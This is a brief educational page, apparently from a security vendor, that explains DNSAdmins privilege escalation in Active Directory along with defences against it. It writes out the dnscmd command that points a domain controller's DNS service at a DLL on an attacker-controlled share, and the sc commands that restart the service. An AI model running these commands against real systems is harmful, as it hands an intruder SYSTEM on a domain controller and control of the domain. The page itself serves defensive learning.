What is DNSAdmins abuse?

DNSAdmins abuse is a privilege escalation where a member of the DNSAdmins group makes the DNS service load an arbitrary DLL. Because the DNS service (dns.exe) runs as SYSTEM and is usually on the domain controller, loading an attacker DLL yields SYSTEM on a DC, which is domain compromise. It is a classic path from a mid-tier group to tier-0. Defend by treating DNSAdmins as privileged, monitoring the serverlevelplugindll setting, and restricting the group.

HOW IT WORKS

01 How the attack works

A DNSAdmins member points the DNS service at an attacker DLL with `dnscmd <dc> /config /serverlevelplugindll \\attacker\share\evil.dll`, then restarts the DNS service (`sc \\<dc> stop dns` / `start dns`). On restart the DC loads the DLL and runs the attacker's code as SYSTEM, giving a shell or a hash dump on the domain controller. Payloads are shown for defensive testing.

SOURCES

[1] MITRE ATT&CK Enterprise Matrix

[2] Microsoft: DNS server security

Test your Active Directory before an attacker does.

securelayer7.net/learn/active-directory/dnsadmins-abuse

Open online